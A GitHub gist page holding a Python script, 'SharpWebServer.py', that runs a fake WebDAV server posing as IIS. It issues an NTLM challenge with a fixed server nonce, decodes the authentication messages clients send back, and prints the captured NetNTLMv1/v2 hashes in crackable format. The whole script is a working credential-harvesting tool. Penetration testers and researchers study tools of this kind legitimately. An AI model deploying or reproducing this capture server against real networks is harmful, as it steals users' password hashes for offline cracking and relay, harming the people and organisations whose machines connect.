Skip to content

Instantly share code, notes, and snippets.

@milo2012
Created December 8, 2024 14:47
Show Gist options
  • Save milo2012/089eab8bb28188678de9538e4964148c to your computer and use it in GitHub Desktop.
Save milo2012/089eab8bb28188678de9538e4964148c to your computer and use it in GitHub Desktop.
SharpWebServer.py
from http.server import BaseHTTPRequestHandler, HTTPServer
from datetime import datetime, timezone
import struct
import base64
from binascii import hexlify
class WebDAVRequestHandler(BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1" # Ensure HTTP/1.1 is used
def version_string(self):
"""Override the server version string to suppress the default Server header."""
return "Microsoft-IIS/6.0"
def date_time_string(self, timestamp=None):
"""Override to provide a custom Date header."""
return datetime.now(timezone.utc).strftime('%a, %d %b %Y %H:%M:%S GMT')
def send_response(self, code, message=None):
"""Override send_response to suppress default Server and Date headers."""
self.log_request(code)
self.send_response_only(code, message) # Send only the status line
#self.send_header('Server', self.version_string())
#self.send_header('Date', self.date_time_string())
def end_headers(self):
"""Ensure headers are properly finalized."""
#self.send_header('Connection', 'Keep-Alive')
super().end_headers()
def do_OPTIONS(self):
self.send_response(200)
self.send_header('Allow', 'GET, HEAD, OPTIONS, PROPFIND')
self.send_header('Dav', '1,2')
self.send_header('MS-Author-Via', 'DAV')
self.send_header('Content-Length', '0')
self.send_header('Connection', 'Close')
self.end_headers()
def do_PROPFIND(self):
#print(f"\nReceived Request: PROPFIND {self.path} {self.request_version}")
try:
# Attempt to fetch the Authorization header
authorization_header = self.headers.get('Authorization')
except Exception as e:
print(f"Error reading headers: {e}")
self.send_response(500)
self.send_header('Content-Length', '0')
self.end_headers()
return
# If no Authorization header, handle the first PROPFIND request
if not authorization_header:
print("NTLM: Sending 401 Unauthorized with NTLM Challenge Response.")
try:
self.send_response(401)
self.send_header('WWW-Authenticate', 'NTLM')
self.send_header('Connection', 'keep-alive')
self.send_header('Content-Length', '0')
self.send_header('Server', self.version_string())
self.send_header('Date', self.date_time_string())
self.end_headers()
except Exception as e:
print(f"Error sending 401 response: {e}")
return
# Handle the second PROPFIND request with Authorization header
print(f"Authorization header found: {authorization_header}")
if authorization_header.startswith("NTLM "):
ntlm_token = authorization_header[5:] # Remove "NTLM " prefix
try:
# Decode the NTLM token
ntlm_bytes = base64.b64decode(ntlm_token)
decoded_ntlm = decode_ntlm(ntlm_bytes)
# Check for non-ASCII characters in the decoded token
if not contains_non_ascii(decoded_ntlm):
print(f"Decoded NTLM hash: {decoded_ntlm}")
# Respond with a 404 if the decoding is successful and complete your flow here
self.send_response(404)
self.send_header('Connection', 'close')
self.end_headers()
return
except base64.binascii.Error as e:
print(f"Base64 decoding error: {e}")
self.send_response(400) # Bad Request
self.end_headers()
return
except Exception as e:
print(f"Error decoding NTLM token: {e}")
self.send_response(500)
self.end_headers()
return
else:
print("Invalid Authorization header format (not NTLM).")
# Send a new 401 response with NTLM challenge if validation fails
try:
self.send_response(401)
self.send_header('WWW-Authenticate', 'NTLM TlRMTVNTUAACAAAABgAGADgAAAAFAomiESIzRFVmd4gAAAAAAAAAAIAAgAA+AAAABQLODgAAAA9TAE0AQgACAAYAUwBNAEIAAQAWAFMATQBCAC0AVABPAE8ATABLAEkAVAAEABIAcwBtAGIALgBsAG8AYwBhAGwAAwAoAHMAZQByAHYAZQByADIAMAAwADMALgBzAG0AYgAuAGwAbwBjAGEAbAAFABIAcwBtAGIALgBsAG8AYwBhAGwAAAAAAA==')
self.send_header('Connection', 'keep-alive')
self.send_header('Content-Length', '0')
self.end_headers()
except Exception as e:
print(f"Error sending 401 response with NTLM challenge: {e}")
self.send_response(500)
self.end_headers()
def log_request(self, code='-', size='-'):
# Extracting necessary details
peer_ip = self.client_address[0] # Client IP
http_method = self.command # HTTP method (e.g., GET, POST)
uri = self.path # Requested URI
size_in_bytes = size if size != '-' else "" # Response size
status_code = code if code != '-' else "" # Response status code
# Formatting and printing the log
print(f"{peer_ip} - \"{http_method} {uri}\" ({status_code})")
def contains_non_ascii(s):
return any(ord(char) > 127 for char in s)
def decode_ntlm(ntlm):
def extract_string(data, offset, length):
return data[offset:offset + length].decode('utf-16-le')
lm_hash_len = struct.unpack_from("<H", ntlm, 12)[0]
lm_hash_offset = struct.unpack_from("<H", ntlm, 16)[0]
lm_hash = ntlm[lm_hash_offset:lm_hash_offset + lm_hash_len]
nt_hash_len = struct.unpack_from("<H", ntlm, 20)[0]
nt_hash_offset = struct.unpack_from("<H", ntlm, 24)[0]
nt_hash = ntlm[nt_hash_offset:nt_hash_offset + nt_hash_len]
user_len = struct.unpack_from("<H", ntlm, 36)[0]
user_offset = struct.unpack_from("<H", ntlm, 40)[0]
user_string = extract_string(ntlm, user_offset, user_len)
if nt_hash_len == 24:
# NTLMv1
host_name_len = struct.unpack_from("<H", ntlm, 46)[0]
host_name_offset = struct.unpack_from("<H", ntlm, 48)[0]
host_name_string = extract_string(ntlm, host_name_offset, host_name_len)
retval = f"{user_string}::{host_name_string}:{lm_hash.hex()}:{nt_hash.hex()}:1122334455667788"
return retval
elif nt_hash_len > 24:
# NTLMv2
nt_hash_len = 64
domain_len = struct.unpack_from("<H", ntlm, 28)[0]
domain_offset = struct.unpack_from("<H", ntlm, 32)[0]
domain_string = extract_string(ntlm, domain_offset, domain_len)
host_name_len = struct.unpack_from("<H", ntlm, 44)[0]
host_name_offset = struct.unpack_from("<H", ntlm, 48)[0]
host_name_string = extract_string(ntlm, host_name_offset, host_name_len)
nt_hash_part1 = hexlify(nt_hash[:16]).decode().upper()
nt_hash_part2 = hexlify(nt_hash[16:]).decode().upper()
retval = f"{user_string}::{domain_string}:1122334455667788:{nt_hash_part1}:{nt_hash_part2}"
return retval
print("[!] SharpWebServer: Could not parse NTLM hash")
return ""
def run(server_class=HTTPServer, handler_class=WebDAVRequestHandler, port=8888):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
print(f'Starting WebDAV server on port {port}')
httpd.serve_forever()
if __name__ == '__main__':
run()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment